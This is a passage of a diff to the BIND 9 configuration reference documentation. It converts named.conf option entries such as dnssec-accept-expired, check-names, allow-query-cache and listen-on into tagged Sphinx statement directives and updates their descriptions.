-         cannot be used to store keys for other zones. The root key in
-         ``bind.keys`` is ignored if ``dnssec-validation auto`` is not in
-         use.
-
-         Whenever the resolver sends out queries to an EDNS-compliant
-         server, it always sets the DO bit indicating it can support DNSSEC
-         responses, even if ``dnssec-validation`` is off.
-
-``validate-except``
    This specifies a list of domain names at and beneath which DNSSEC
    validation should *not* be performed, regardless of the presence of a
    trust anchor at or above those names. This may be used, for example,
@@ -2069,158 +2572,185 @@ Boolean Options
    whereas negative trust anchors expire and are removed after a set
    period of time.)
 
-``dnssec-accept-expired``
+.. namedconf:statement:: dnssec-accept-expired
+   :tags: dnssec
+   :short: Instructs BIND 9 to accept expired DNSSEC signatures when validating.
+
    This accepts expired signatures when verifying DNSSEC signatures. The
-   default is ``no``. Setting this option to ``yes`` leaves ``named``
+   default is ``no``. Setting this option to ``yes`` leaves :iscman:`named`
    vulnerable to replay attacks.
 
-``querylog``
+.. namedconf:statement:: querylog
+   :tags: logging, server
+   :short: Specifies whether query logging should be active when :iscman:`named` first starts.
+
    Query logging provides a complete log of all incoming queries and all query
    errors. This provides more insight into the server's activity, but with a
    cost to performance which may be significant on heavily loaded servers.
 
-   The ``querylog`` option specifies whether query logging should be active when
-   ``named`` first starts.  If ``querylog`` is not specified, then query logging
+   The :any:`querylog` option specifies whether query logging should be active when
+   :iscman:`named` first starts. If :any:`querylog` is not specified, then query logging
    is determined by the presence of the logging category ``queries``.  Query
    logging can also be activated at runtime using the command ``rndc querylog
-   on``, or deactivated with ``rndc querylog off``.
+   on``, or deactivated with :option:`rndc querylog off <rndc querylog>`.
+
+.. namedconf:statement:: check-names
+   :tags: query, server
+   :short: Restricts the character set and syntax of certain domain names in primary files and/or DNS responses received from the network.
 
-``check-names``
    This option is used to restrict the character set and syntax of
    certain domain names in primary files and/or DNS responses received
    from the network. The default varies according to usage area. For
-   ``primary`` zones the default is ``fail``. For ``secondary`` zones the
+   :any:`type primary` zones the default is ``fail``. For :any:`type secondary` zones the
    default is ``warn``. For answers received from the network
    (``response``), the default is ``ignore``.
 
    The rules for legal hostnames and mail domains are derived from
    :rfc:`952` and :rfc:`821` as modified by :rfc:`1123`.
 
-   ``check-names`` applies to the owner names of A, AAAA, and MX records.
+   :any:`check-names` applies to the owner names of A, AAAA, and MX records.
    It also applies to the domain names in the RDATA of NS, SOA, MX, and
    SRV records. It further applies to the RDATA of PTR records where the
    owner name indicates that it is a reverse lookup of a hostname (the
    owner name ends in IN-ADDR.ARPA, IP6.ARPA, or IP6.INT).
 
-``check-dup-records``
+.. namedconf:statement:: check-dup-records
+   :tags: dnssec, query
+   :short: Checks primary zones for records that are treated as different by DNSSEC but are semantically equal in plain DNS.
+
    This checks primary zones for records that are treated as different by
    DNSSEC but are semantically equal in plain DNS. The default is to
    ``warn``. Other possible values are ``fail`` and ``ignore``.
 
-``check-mx``
+.. namedconf:statement:: check-mx
+   :tags: zone
+   :short: Checks whether an MX record appears to refer to an IP address.
+
    This checks whether the MX record appears to refer to an IP address. The
    default is to ``warn``. Other possible values are ``fail`` and
    ``ignore``.
 
-``check-wildcard``
+.. namedconf:statement:: check-wildcard
+   :tags: zone
+   :short: Checks for non-terminal wildcards.
+
    This option is used to check for non-terminal wildcards. The use of
    non-terminal wildcards is almost always as a result of a lack of
-   understanding of the wildcard matching algorithm (:rfc:`1034`). This option
+   understanding of the wildcard-matching algorithm (:rfc:`1034`). This option
    affects primary zones. The default (``yes``) is to check for
    non-terminal wildcards and issue a warning.
 
-``check-integrity``
+.. namedconf:statement:: check-integrity
+   :tags: zone
+   :short: Performs post-load zone integrity checks on primary zones.
+
    This performs post-load zone integrity checks on primary zones. It checks
    that MX and SRV records refer to address (A or AAAA) records and that
    glue address records exist for delegated zones. For MX and SRV
    records, only in-zone hostnames are checked (for out-of-zone hostnames,
-   use ``named-checkzone``). For NS records, only names below top-of-zone
+   use :iscman:`named-checkzone`). For NS records, only names below top-of-zone
    are checked (for out-of-zone names and glue consistency checks, use
-   ``named-checkzone``). The default is ``yes``.
+   :iscman:`named-checkzone`). DS records not at delegations are rejected.
+   The default is ``yes``.
 
    The use of the SPF record to publish Sender Policy Framework is
    deprecated, as the migration from using TXT records to SPF records was
    abandoned. Enabling this option also checks that a TXT Sender Policy
    Framework record exists (starts with "v=spf1") if there is an SPF
    record. Warnings are emitted if the TXT record does not exist; they can
-   be suppressed with ``check-spf``.
+   be suppressed with :any:`check-spf`.
+
+.. namedconf:statement:: check-mx-cname
+   :tags: zone
+   :short: Sets the response to MX records that refer to CNAMEs.
+
+   If :any:`check-integrity` is set, then fail, warn, or ignore MX records
+   that refer to CNAMEs. The default is to ``warn``.
 
-``check-mx-cname``
-   If ``check-integrity`` is set, then fail, warn, or ignore MX records
-   that refer to CNAMES. The default is to ``warn``.
+.. namedconf:statement:: check-srv-cname
+   :tags: zone
+   :short: Sets the response to SRV records that refer to CNAMEs.
 
-``check-srv-cname``
-   If ``check-integrity`` is set, then fail, warn, or ignore SRV records
-   that refer to CNAMES. The default is to ``warn``.
+   If :any:`check-integrity` is set, then fail, warn, or ignore SRV records
+   that refer to CNAMEs. The default is to ``warn``.
+
+.. namedconf:statement:: check-sibling
+   :tags: zone
+   :short: Specifies whether to check for sibling glue when performing integrity checks.
 
-``check-sibling``
    When performing integrity checks, also check that sibling glue
    exists. The default is ``yes``.
 
-``check-spf``
-   If ``check-integrity`` is set, check that there is a TXT Sender
+.. namedconf:statement:: check-spf
+   :tags: zone
+   :short: Specifies whether to check for a TXT Sender Policy Framework record, if an SPF record is present.
+
+   If :any:`check-integrity` is set, check that there is a TXT Sender
    Policy Framework record present (starts with "v=spf1") if there is an
    SPF record present. The default is ``warn``.
 
-``zero-no-soa-ttl``
+.. namedconf:statement:: check-svcb
+   :tags: zone
+   :short: Specifies whether to perform additional checks on SVCB records.
+
+   If ``yes``, checks that SVCB records that start with a ``_dns``
+   label prefixed by an optional ``_<port>`` label (e.g.
+   ``_443._dns.ns1.example``), have an ``alpn`` parameter and that
+   the ``dohpath`` parameter exists when the ``alpn`` indicates
+   that it should be present.  The default is ``yes``.
+
+.. namedconf:statement:: zero-no-soa-ttl
+   :tags: zone, query, server
+   :short: Specifies whether to set the time to live (TTL) of the SOA record to zero, when returning authoritative negative responses to SOA queries.
+
    If ``yes``, when returning authoritative negative responses to SOA queries, set
    the TTL of the SOA record returned in the authority section to zero.
    The default is ``yes``.
 
-``zero-no-soa-ttl-cache``
+.. namedconf:statement:: zero-no-soa-ttl-cache
+   :tags: zone, query, server
+   :short: Sets the time to live (TTL) to zero when caching a negative response to an SOA query.
+
    If ``yes``, when caching a negative response to an SOA query set the TTL to zero.
    The default is ``no``.
 
-``update-check-ksk``
-   When set to the default value of ``yes``, check the KSK bit in each
-   key to determine how the key should be used when generating RRSIGs
-   for a secure zone.
-
-   Ordinarily, zone-signing keys (that is, keys without the KSK bit set)
-   are used to sign the entire zone, while key-signing keys (keys with
-   the KSK bit set) are only used to sign the DNSKEY RRset at the zone
-   apex. However, if this option is set to ``no``, then the KSK bit is
-   ignored; KSKs are treated as if they were ZSKs and are used to sign
-   the entire zone. This is similar to the ``dnssec-signzone -z``
-   command-line option.
-
-   When this option is set to ``yes``, there must be at least two active
-   keys for every algorithm represented in the DNSKEY RRset: at least
-   one KSK and one ZSK per algorithm. If there is any algorithm for
-   which this requirement is not met, this option is ignored for
-   that algorithm.
-
-``dnssec-dnskey-kskonly``
-   When this option and ``update-check-ksk`` are both set to ``yes``,
-   only key-signing keys (that is, keys with the KSK bit set) are
-   used to sign the DNSKEY, CDNSKEY, and CDS RRsets at the zone apex.
-   Zone-signing keys (keys without the KSK bit set) are used to sign
-   the remainder of the zone, but not the DNSKEY RRset. This is similar
-   to the ``dnssec-signzone -x`` command-line option.
-
-   The default is ``no``. If ``update-check-ksk`` is set to ``no``, this
-   option is ignored.
-
-``try-tcp-refresh``
+.. namedconf:statement:: update-check-ksk
+   :tags: obsolete
+
+   This option no longer has any effect.
+
+.. namedconf:statement:: dnssec-dnskey-kskonly
+   :tags: obsolete
+
+   This option no longer has any effect.
+
+.. namedconf:statement:: try-tcp-refresh
+   :tags: transfer
+   :short: Specifies that BIND 9 should attempt to refresh a zone using TCP if UDP queries fail.
+
    If ``yes``, try to refresh the zone using TCP if UDP queries fail. The default is
    ``yes``.
 
-``dnssec-secure-to-insecure``
-   This allows a dynamic zone to transition from secure to insecure (i.e.,
-   signed to unsigned) by deleting all of the DNSKEY records. The
-   default is ``no``. If set to ``yes``, and if the DNSKEY RRset at the
-   zone apex is deleted, all RRSIG and NSEC records are removed from
-   the zone as well.
+.. namedconf:statement:: dnssec-secure-to-insecure
+   :tags: obsolete
 
-   If the zone uses NSEC3, it is also necessary to delete the
-   NSEC3PARAM RRset from the zone apex; this causes the removal of
-   all corresponding NSEC3 records. (It is expected that this
-   requirement will be eliminated in a future release.)
+   This option no longer has any effect.
 
-   Note that if a zone has been configured with ``auto-dnssec maintain``
-   and the private keys remain accessible in the key repository,
-   the zone will be automatically signed again the next time ``named``
-   is started.
+.. namedconf:statement:: synth-from-dnssec
+   :tags: dnssec
+   :short: Enables support for :rfc:`8198`, Aggressive Use of DNSSEC-Validated Cache.
 
-``synth-from-dnssec``
-   This option synthesizes answers from cached NSEC, NSEC3, and other RRsets that have been
-   proved to be correct using DNSSEC. The default is ``no``, but it will become
-   ``yes`` again in future releases.
+   This option enables support for :rfc:`8198`, Aggressive Use of
+   DNSSEC-Validated Cache. It allows the resolver to send a smaller number
+   of queries when resolving queries for DNSSEC-signed domains
+   by synthesizing answers from cached NSEC and other RRsets that
+   have been proved to be correct using DNSSEC.
+   The default is ``yes``.
 
    .. note:: DNSSEC validation must be enabled for this option to be effective.
       This initial implementation only covers synthesis of answers from
       NSEC records; synthesis from NSEC3 is planned for the future. This
-      will also be controlled by ``synth-from-dnssec``.
+      will also be controlled by :any:`synth-from-dnssec`.
 
 Forwarding
 ^^^^^^^^^^
@@ -2232,24 +2762,34 @@ access to the Internet, but wish to look up exterior names anyway.
 Forwarding occurs only on those queries for which the server is not
 authoritative and does not have the answer in its cache.
 
-``forward``
+.. namedconf:statement:: forward
+   :tags: query
+   :short: Allows or disallows fallback to recursion if forwarding has failed; it is always used in conjunction with the :any:`forwarders` statement.
+
    This option is only meaningful if the forwarders list is not empty. A
    value of ``first`` is the default and causes the server to query the
    forwarders first; if that does not answer the question, the
    server then looks for the answer itself. If ``only`` is
    specified, the server only queries the forwarders.
 
-``forwarders``
+.. namedconf:statement:: forwarders
+   :tags: query
+   :short: Defines one or more hosts to which queries are forwarded.
+
    This specifies a list of IP addresses to which queries are forwarded. The
    default is the empty list (no forwarding). Each address in the list can be
-   associated with an optional port number and/or DSCP value, and a default port
-   number and DSCP value can be set for the entire list.
+   associated with an optional port number and a TLS transport. A default port
+   number and a TLS transport can be set for the entire list.
+
+   If a TLS configuration is specified, :iscman:`named` will use DNS-over-TLS
+   (DoT) connections when connecting to the specified IP address(es), using the
+   TLS configuration referenced by the :any:`tls` statement.
 
 Forwarding can also be configured on a per-domain basis, allowing for
 the global forwarding options to be overridden in a variety of ways.
 Particular domains can be set to use different forwarders, or have a
 different ``forward only/first`` behavior, or not forward at all; see
-:ref:`zone_statement_grammar`.
+:any:`zone`.
 
 .. _dual_stack:
 
@@ -2260,13 +2800,16 @@ Dual-stack servers are used as servers of last resort, to work around
 problems in reachability due to the lack of support for either IPv4 or IPv6
 on the host machine.
 
-``dual-stack-servers``
+.. namedconf:statement:: dual-stack-servers
+   :tags: server
+   :short: Specifies host names or addresses of machines with access to both IPv4 and IPv6 transports.
+
    This specifies host names or addresses of machines with access to both
    IPv4 and IPv6 transports. If a hostname is used, the server must be
    able to resolve the name using only the transport it has. If the
-   machine is dual-stacked, the ``dual-stack-servers`` parameter has no
+   machine is dual-stacked, the :any:`dual-stack-servers` parameter has no
    effect unless access to a transport has been disabled on the command
-   line (e.g., ``named -4``).
+   line (e.g., :option:`named -4`).
 
 .. _access_control:
 
@@ -2277,97 +2820,139 @@ Access to the server can be restricted based on the IP address of the
 requesting system. See :ref:`address_match_lists`
 for details on how to specify IP address lists.
 
-``allow-notify``
+.. namedconf:statement:: allow-notify
+   :tags: transfer
+   :short: Defines an :any:`address_match_list` that is allowed to send ``NOTIFY`` messages for the zone, in addition to addresses defined in the :any:`primaries` option for the zone.
+
    This ACL specifies which hosts may send NOTIFY messages to inform
    this server of changes to zones for which it is acting as a secondary
-   server. This is only applicable for secondary zones (i.e., type
-   ``secondary`` or ``slave``).
+   server. This is only applicable for secondary zones (i.e., :any:`type
+   secondary` or ``slave``).
 
-   If this option is set in ``view`` or ``options``, it is globally
-   applied to all secondary zones. If set in the ``zone`` statement, the
+   If this option is set in :any:`view` or :namedconf:ref:`options`, it is globally
+   applied to all secondary zones. If set in the :any:`zone` statement, the
    global value is overridden.
 
    If not specified, the default is to process NOTIFY messages only from
-   the configured ``primaries`` for the zone. ``allow-notify`` can be used
+   the configured :any:`primaries` for the zone. :any:`allow-notify` can be used
    to expand the list of permitted hosts, not to reduce it.
 
-``allow-query``
-   This specifies which hosts are allowed to ask ordinary DNS questions.
-   ``allow-query`` may also be specified in the ``zone`` statement, in
+.. namedconf:statement:: allow-query
+   :tags: query
+   :short: Specifies which hosts (an IP address list) are allowed to send queries to this resolver.
+
+   :any:`allow-query` may also be specified in the :any:`zone` statement, in
    which case it overrides the ``options allow-query`` statement. If not
    specified, the default is to allow queries from all hosts.
 
-   .. note:: ``allow-query-cache`` is used to specify access to the cache.
+   .. note:: :any:`allow-query-cache` is used to specify access to the cache.
+
+.. namedconf:statement:: allow-query-on
+   :tags: query
+   :short: Specifies which local addresses (an IP address list) are allowed to send queries to this resolver. Used in multi-homed configurations.
 
-``allow-query-on``
-   This specifies which local addresses can accept ordinary DNS questions.
    This makes it possible, for instance, to allow queries on
    internal-facing interfaces but disallow them on external-facing ones,
    without necessarily knowing the internal network's addresses.
 
-   Note that ``allow-query-on`` is only checked for queries that are
-   permitted by ``allow-query``. A query must be allowed by both ACLs,
+   Note that :any:`allow-query-on` is only checked for queries that are
+   permitted by :any:`allow-query`. A query must be allowed by both ACLs,
    or it is refused.
 
-   ``allow-query-on`` may also be specified in the ``zone`` statement,
+   :any:`allow-query-on` may also be specified in the :any:`zone` statement,
    in which case it overrides the ``options allow-query-on`` statement.
 
    If not specified, the default is to allow queries on all addresses.
 
-   .. note:: ``allow-query-cache`` is used to specify access to the cache.
+   .. note:: :any:`allow-query-cache` is used to specify access to the cache.
+
+.. namedconf:statement:: allow-query-cache
+   :tags: query
+   :short: Specifies which hosts (an IP address list) can access this server's cache and thus effectively controls recursion.
+
+   Defines an :term:`address_match_list` of IP address(es) which are allowed to
+   issue queries that access the local cache. Without access to the local
+   cache recursive queries are effectively useless so, in effect, this
+   statement (or its default) controls recursive behavior. This statement's
+   default setting depends on:
+
+   1. If :namedconf:ref:`recursion no; <recursion>` present, defaults to
+      ``allow-query-cache {none;};``. No local cache access permitted.
+
+   2. If :namedconf:ref:`recursion yes; <recursion>` (default) then, if
+      :any:`allow-recursion` present, defaults to the value of
+      :any:`allow-recursion`. Local cache access permitted to the same
+      :term:`address_match_list` as :any:`allow-recursion`.
+
+   3. If :namedconf:ref:`recursion yes; <recursion>` (default) then, if
+      :any:`allow-recursion` is **not** present, defaults to
+      ``allow-query-cache {localnets; localhost;};``. Local cache access permitted
+      to :term:`address_match_list` localnets and localhost IP addresses only.
 
-``allow-query-cache``
-   This specifies which hosts are allowed to get answers from the cache. If
-   ``allow-recursion`` is not set, BIND checks to see if the following parameters
-   are set, in order: ``allow-query-cache`` and ``allow-query`` (unless ``recursion no;`` is set).
-   If neither of those parameters is set, the default (localnets; localhost;) is used.
+.. namedconf:statement:: allow-query-cache-on
+   :tags: query
+   :short: Specifies which hosts (an IP address list) can access this server's cache. Used on servers with multiple interfaces.
 
-``allow-query-cache-on``
    This specifies which local addresses can send answers from the cache. If
-   ``allow-query-cache-on`` is not set, then ``allow-recursion-on`` is
+   :any:`allow-query-cache-on` is not set, then :any:`allow-recursion-on` is
    used if set. Otherwise, the default is to allow cache responses to be
-   sent from any address. Note: both ``allow-query-cache`` and
-   ``allow-query-cache-on`` must be satisfied before a cache response
+   sent from any address. Note: both :any:`allow-query-cache` and
+   :any:`allow-query-cache-on` must be satisfied before a cache response
    can be sent; a client that is blocked by one cannot be allowed by the
    other.
 
-``allow-recursion``
+.. namedconf:statement:: allow-recursion
+   :tags: query
+   :short: Defines an :any:`address_match_list` of clients that are allowed to perform recursive queries.
+
    This specifies which hosts are allowed to make recursive queries through
    this server. BIND checks to see if the following parameters are set, in
-   order: ``allow-query-cache`` and ``allow-query``. If neither of those parameters
+   order: :any:`allow-query-cache` and :any:`allow-query`. If neither of those parameters
    is set, the default (localnets; localhost;) is used.
 
-``allow-recursion-on``
+.. namedconf:statement:: allow-recursion-on
+   :tags: query, server
+   :short: Specifies which local addresses can accept recursive queries.
+
    This specifies which local addresses can accept recursive queries. If
-   ``allow-recursion-on`` is not set, then ``allow-query-cache-on`` is
+   :any:`allow-recursion-on` is not set, then :any:`allow-query-cache-on` is
    used if set; otherwise, the default is to allow recursive queries on
    all addresses. Any client permitted to send recursive queries can
-   send them to any address on which ``named`` is listening. Note: both
-   ``allow-recursion`` and ``allow-recursion-on`` must be satisfied
+   send them to any address on which :iscman:`named` is listening. Note: both
+   :any:`allow-recursion` and :any:`allow-recursion-on` must be satisfied
    before recursion is allowed; a client that is blocked by one cannot
    be allowed by the other.
 
-``allow-update``
-   When set in the ``zone`` statement for a primary zone, this specifies which
-   hosts are allowed to submit Dynamic DNS updates to that zone. The
+.. namedconf:statement:: allow-update
+   :tags: transfer
+   :short: Defines an :any:`address_match_list` of hosts that are allowed to submit dynamic updates for primary zones.
+
+   A simple access control list.
+   When set in the :any:`zone` statement for a primary zone, this specifies which
+   hosts are allowed to submit dynamic DNS updates to that zone. The
    default is to deny updates from all hosts.
 
    Note that allowing updates based on the requestor's IP address is
    insecure; see :ref:`dynamic_update_security` for details.
 
-   In general, this option should only be set at the ``zone`` level.
-   While a default value can be set at the ``options`` or ``view`` level
+   In general, this option should only be set at the :any:`zone` level.
+   While a default value can be set at the :namedconf:ref:`options` or :any:`view` level
    and inherited by zones, this could lead to some zones unintentionally
    allowing updates.
 
-``allow-update-forwarding``
-   When set in the ``zone`` statement for a secondary zone, this specifies which
-   hosts are allowed to submit Dynamic DNS updates and have them be
+   Updates are written to the zone's filename that is set in :any:`file`.
+
+.. namedconf:statement:: allow-update-forwarding
+   :tags: transfer
+   :short: Defines an :any:`address_match_list` of hosts that are allowed to submit dynamic updates to a secondary server for transmission to a primary.
+
+   When set in the :any:`zone` statement for a secondary zone, this specifies which
+   hosts are allowed to submit dynamic DNS updates and have them be
    forwarded to the primary. The default is ``{ none; }``, which means
    that no update forwarding is performed.
 
    To enable update forwarding, specify
-   ``allow-update-forwarding { any; };`` in the ``zone`` statement.
+   ``allow-update-forwarding { any; };`` in the :any:`zone` statement.
    Specifying values other than ``{ none; }`` or ``{ any; }`` is usually
    counterproductive; the responsibility for update access control
    should rest with the primary server, not the secondary.
@@ -2376,34 +2961,54 @@ for details on how to specify IP address lists.
    may expose primary servers to attacks if they rely on insecure
    IP-address-based access control; see :ref:`dynamic_update_security` for more details.
 
-   In general this option should only be set at the ``zone`` level.
-   While a default value can be set at the ``options`` or ``view`` level
+   In general this option should only be set at the :any:`zone` level.
+   While a default value can be set at the :namedconf:ref:`options` or :any:`view` level
    and inherited by zones, this can lead to some zones unintentionally
    forwarding updates.
 
-.. _allow-transfer-access:
+.. namedconf:statement:: allow-transfer
+   :tags: transfer
+   :short: Defines an :any:`address_match_list` of hosts that are allowed to transfer the zone information from this server.
 
-``allow-transfer``
    This specifies which hosts are allowed to receive zone transfers from the
-   server. ``allow-transfer`` may also be specified in the ``zone``
-   statement, in which case it overrides the ``allow-transfer``
-   statement set in ``options`` or ``view``. If not specified, the
+   server. :any:`allow-transfer` may also be specified in the :any:`zone`
+   statement, in which case it overrides the :any:`allow-transfer`
+   statement set in :namedconf:ref:`options` or :any:`view`. If not specified, the
    default is to allow transfers to all hosts.
 
-``blackhole``
+   The transport level limitations can also be specified. In particular,
+   zone transfers can be restricted to a specific port and/or DNS
+   transport protocol by using the options :term:`port` and ``transport``.
+   Either option can be specified; if both are used, both constraints
+   must be satisfied in order for the transfer to be allowed. Zone
+   transfers are currently only possible via the TCP and TLS transports.
+
+   For example: ``allow-transfer port 853 transport tls { any; };``
+   allows outgoing zone transfers to any host using the TLS transport
+   over port 853.
+
+.. warning::
+
+   Please note that incoming TLS connections are
+   **not authenticated at the TLS level by default**.
+   Please use :ref:`tsig` to authenticate requestors
+   or consider implementing :ref:`Mutual TLS <mutual-tls>`
+   authentication.
+
+.. namedconf:statement:: blackhole
+   :tags: query
+   :short: Defines an :any:`address_match_list` of hosts to ignore. The server will neither respond to queries from nor send queries to these addresses.
+
    This specifies a list of addresses which the server does not accept queries
    from or use to resolve a query. Queries from these addresses are not
    responded to. The default is ``none``.
 
-``keep-response-order``
-   This specifies a list of addresses to which the server sends responses
-   to TCP queries, in the same order in which they were received. This
-   disables the processing of TCP queries in parallel. The default is
-   ``none``.
+.. namedconf:statement:: no-case-compress
+   :tags: server
+   :short: Specifies a list of addresses that require case-insensitive compression in responses.
 
-``no-case-compress``
    This specifies a list of addresses which require responses to use
-   case-insensitive compression. This ACL can be used when ``named``
+   case-insensitive compression. This ACL can be used when :iscman:`named`
    needs to work with clients that do not comply with the requirement in
    :rfc:`1034` to use case-insensitive name comparisons when checking for
    matching domain names.
@@ -2425,7 +3030,7 @@ for details on how to specify IP address lists.
    Case-insensitive compression is *always* used in AXFR and IXFR
    responses, regardless of whether the client matches this ACL.
 
-   There are circumstances in which ``named`` does not preserve the case
+   There are circumstances in which :iscman:`named` does not preserve the case
    of owner names of records: if a zone file defines records of
    different types with the same name, but the capitalization of the
    name is different (e.g., "www.example.com/A" and
@@ -2436,7 +3041,10 @@ for details on how to specify IP address lists.
    type NS, MX, CNAME, etc.) always have their case preserved unless
    the client matches this ACL.
 
-``resolver-query-timeout``
+.. namedconf:statement:: resolver-query-timeout
+   :tags: query
+   :short: Specifies the length of time, in milliseconds, that a resolver attempts to resolve a recursive query before failing.
+
    This is the amount of time in milliseconds that the resolver spends
    attempting to resolve a recursive query before failing. The default
    and minimum is ``10000`` and the maximum is ``30000``. Setting it to
@@ -2452,162 +3060,226 @@ Interfaces
 ^^^^^^^^^^
 
 The interfaces, ports, and protocols that the server can use to answer
-queries may be specified using the ``listen-on`` and ``listen-on-v6`` options.
-
-``listen-on`` and ``listen-on-v6`` statements can each take an optional
-port, TLS configuration identifier, and/or HTTP configuration identifier,
-in addition to an ``address_match_list``.
-
-The ``address_match_list`` in ``listen-on`` specifies the IPv4 addresses
-on which the server will listen. (IPv6 addresses are ignored, with a
-logged warning.) The server listens on all interfaces allowed by the
-address match list.  If no ``listen-on`` is specified, the default is
-to listen for standard DNS queries on port 53 of all IPv4 interfaces.
-
-``listen-on-v6`` takes an ``address_match_list`` of IPv6 addresses.
-The server listens on all interfaces allowed by the address match list.
-If no ``listen-on-v6`` is specified, the default is to listen for standard
-DNS queries on port 53 of all IPv6 interfaces.
-
-If a TLS configuration is specified, ``named`` will listen for DNS-over-TLS
-(DoT) connections, using the key and certificate specified in the
-referenced ``tls`` statement. If the name ``ephemeral`` is used,
-an ephemeral key and certificate created for the currently running
-``named`` process will be used.
-
-If an HTTP configuration is specified, ``named`` will listen for
-DNS-over-HTTPS (DoH) connections using the HTTP endpoint specified in the
-referenced ``http`` statement.  If the name ``default`` is used, then
-``named`` will listen for connections at the default endpoint,
-``/dns-query``.
-
-Use of an ``http`` specification requires ``tls`` to be specified
-as well.  If an unencrypted connection is desired (for example,
-on load-sharing servers behind a reverse proxy), ``tls none`` may be used.
-
-If a port number is not specified, the default is 53 for standard DNS, 853
-for DNS over TLS, 443 for DNS over HTTPS, and 80 for DNS over unenecrypted
-HTTP.  These defaults may be overridden using the ``port``, ``tls-port``,
-``https-port`` and ``http-port`` options.
-
-Multiple ``listen-on`` statements are allowed. For example:
+queries may be specified using the :any:`listen-on` and :any:`listen-on-v6` options.
+
+.. namedconf:statement:: listen-on
+   :tags: server
+   :short: Specifies the IPv4 addresses on which a server listens for DNS queries.
+
+.. namedconf:statement:: listen-on-v6
+   :tags: server
+   :short: Specifies the IPv6 addresses on which a server listens for DNS queries.
+
+   The :any:`listen-on` and :any:`listen-on-v6` statements can each take an optional
+   port, TLS configuration identifier, and/or HTTP configuration identifier,
+   in addition to an :term:`address_match_list`.
+
+   The :term:`address_match_list` in :any:`listen-on` specifies the IPv4 addresses
+   on which the server will listen. (IPv6 addresses are ignored, with a
+   logged warning.) The server listens on all interfaces allowed by the
+   address match list.  If no :any:`listen-on` is specified, the default is
+   to listen for standard DNS queries on port 53 of all IPv4 interfaces.
+
+   :any:`listen-on-v6` takes an :term:`address_match_list` of IPv6 addresses.
+   The server listens on all interfaces allowed by the address match list.
+   If no :any:`listen-on-v6` is specified, the default is to listen for standard
+   DNS queries on port 53 of all IPv6 interfaces.
+
+   If a TLS configuration is specified, :iscman:`named` will listen for DNS-over-TLS
+   (DoT) connections, using the key and certificate specified in the
+   referenced :any:`tls` statement. If the name ``ephemeral`` is used,
+   an ephemeral key and certificate created for the currently running
+   :iscman:`named` process will be used.
+
+   If an HTTP configuration is specified, :iscman:`named` will listen for
+   DNS-over-HTTPS (DoH) connections using the HTTP endpoint specified in the
+   referenced :any:`http` statement.  If the name ``default`` is used, then
+   :iscman:`named` will listen for connections at the default endpoint,
+   ``/dns-query``.
+
+   Use of an :any:`http` specification requires :any:`tls` to be specified
+   as well.  If an unencrypted connection is desired (for example,
+   on load-sharing servers behind a reverse proxy), ``tls none`` may be used.
+
+   If a port number is not specified, the default is 53 for standard DNS,
+   853 for DNS over TLS, 443 for DNS over HTTPS, and 80 for
+   DNS over HTTP (unencrypted).  These defaults may be overridden using the
+   :namedconf:ref:`port`, :any:`tls-port`, :any:`https-port`, and :any:`http-port` options.
+
+   Multiple :any:`listen-on` statements are allowed. For example:
 
-::
+   ::
 
-   listen-on { 5.6.7.8; };
-   listen-on port 1234 { !1.2.3.4; 1.2/16; };
-   listen-on port 8853 tls ephemeral { 4.3.2.1; };
-   listen-on port 8453 tls ephemeral http myserver { 8.7.6.5; };
+      listen-on { 5.6.7.8; };
+      listen-on port 1234 { !1.2.3.4; 1.2/16; };
+      listen-on port 8853 tls ephemeral { 4.3.2.1; };
+      listen-on port 8453 tls ephemeral http myserver { 8.7.6.5; };
 
-The first two lines instruct the name server to listen for standard DNS
-queries on port 53 of the IP address 5.6.7.8 and on port 1234 of an address
-on the machine in net 1.2 that is not 1.2.3.4. The third line instructs the
-server to listen for DNS-over-TLS connections on port 8853 of the IP
-address 4.3.2.1 using the ephemeral key and certifcate.  The fourth line
-enables DNS-over-HTTPS connections on port 8453 of address 8.7.6.5, using
-the ephemeral key and certificate, and the HTTP endpoint or endpoints
-configured in an ``http`` statement with the name ``myserver``.
+   The first two lines instruct the name server to listen for standard DNS
+   queries on port 53 of the IP address 5.6.7.8 and on port 1234 of an address
+   on the machine in net 1.2 that is not 1.2.3.4. The third line instructs the
+   server to listen for DNS-over-TLS connections on port 8853 of the IP
+   address 4.3.2.1 using the ephemeral key and certifcate.  The fourth line
+   enables DNS-over-HTTPS connections on port 8453 of address 8.7.6.5, using
+   the ephemeral key and certificate, and the HTTP endpoint or endpoints
+   configured in an :any:`http` statement with the name ``myserver``.
 
-Multiple ``listen-on-v6`` options can be used. For example:
+   Multiple :any:`listen-on-v6` options can be used. For example:
 
-::
+   ::
 
-   listen-on-v6 { any; };
-   listen-on-v6 port 1234 { !2001:db8::/32; any; };
-   listen-on port 8853 tls example-tls { 2001:db8::100; };
-   listen-on port 8453 tls example-tls http default { 2001:db8::100; };
-   listen-on port 8000 tls none http myserver { 2001:db8::100; };
-
-The first two lines instruct the name server to listen for standard DNS
-queries on port 53 of any IPv6 addresses, and on port 1234 of IPv6
-addresses that are not in the prefix 2001:db8::/32. The third line
-instructs the server to listen for for DNS-over-TLS connections on port
-8853 of the address 2001:db8::100, using a TLS key and certificate specified
-in the a ``tls`` statement with the name ``example-tls``. The fourth
-instructs the server to listen for DNS-over-HTTPS connections, again using
-``example-tls``, on the default HTTP endpoint. The fifth line, in which
-the ``tls`` parameter is set to ``none``, instructs the server to listen
-for *unencrypted* DNS queries over HTTP at the endpoint specified in
-``myserver``..
-
-To instruct the server not to listen on any IPv6 addresses, use:
+      listen-on-v6 { any; };
+      listen-on-v6 port 1234 { !2001:db8::/32; any; };
+      listen-on port 8853 tls example-tls { 2001:db8::100; };
+      listen-on port 8453 tls example-tls http default { 2001:db8::100; };
+      listen-on port 8000 tls none http myserver { 2001:db8::100; };
+
+   The first two lines instruct the name server to listen for standard DNS
+   queries on port 53 of any IPv6 addresses, and on port 1234 of IPv6
+   addresses that are not in the prefix 2001:db8::/32. The third line
+   instructs the server to listen for for DNS-over-TLS connections on port
+   8853 of the address 2001:db8::100, using a TLS key and certificate specified
+   in the a :any:`tls` statement with the name ``example-tls``. The fourth
+   instructs the server to listen for DNS-over-HTTPS connections, again using
+   ``example-tls``, on the default HTTP endpoint. The fifth line, in which
+   the :any:`tls` parameter is set to ``none``, instructs the server to listen
+   for *unencrypted* DNS queries over HTTP at the endpoint specified in
+   ``myserver``..
+
+   To instruct the server not to listen on any IPv6 addresses, use:
 
-::
+   ::
 
-   listen-on-v6 { none; };
+      listen-on-v6 { none; };
 
 .. _query_address:
 
 Query Address
 ^^^^^^^^^^^^^
 
-If the server does not know the answer to a question, it queries other
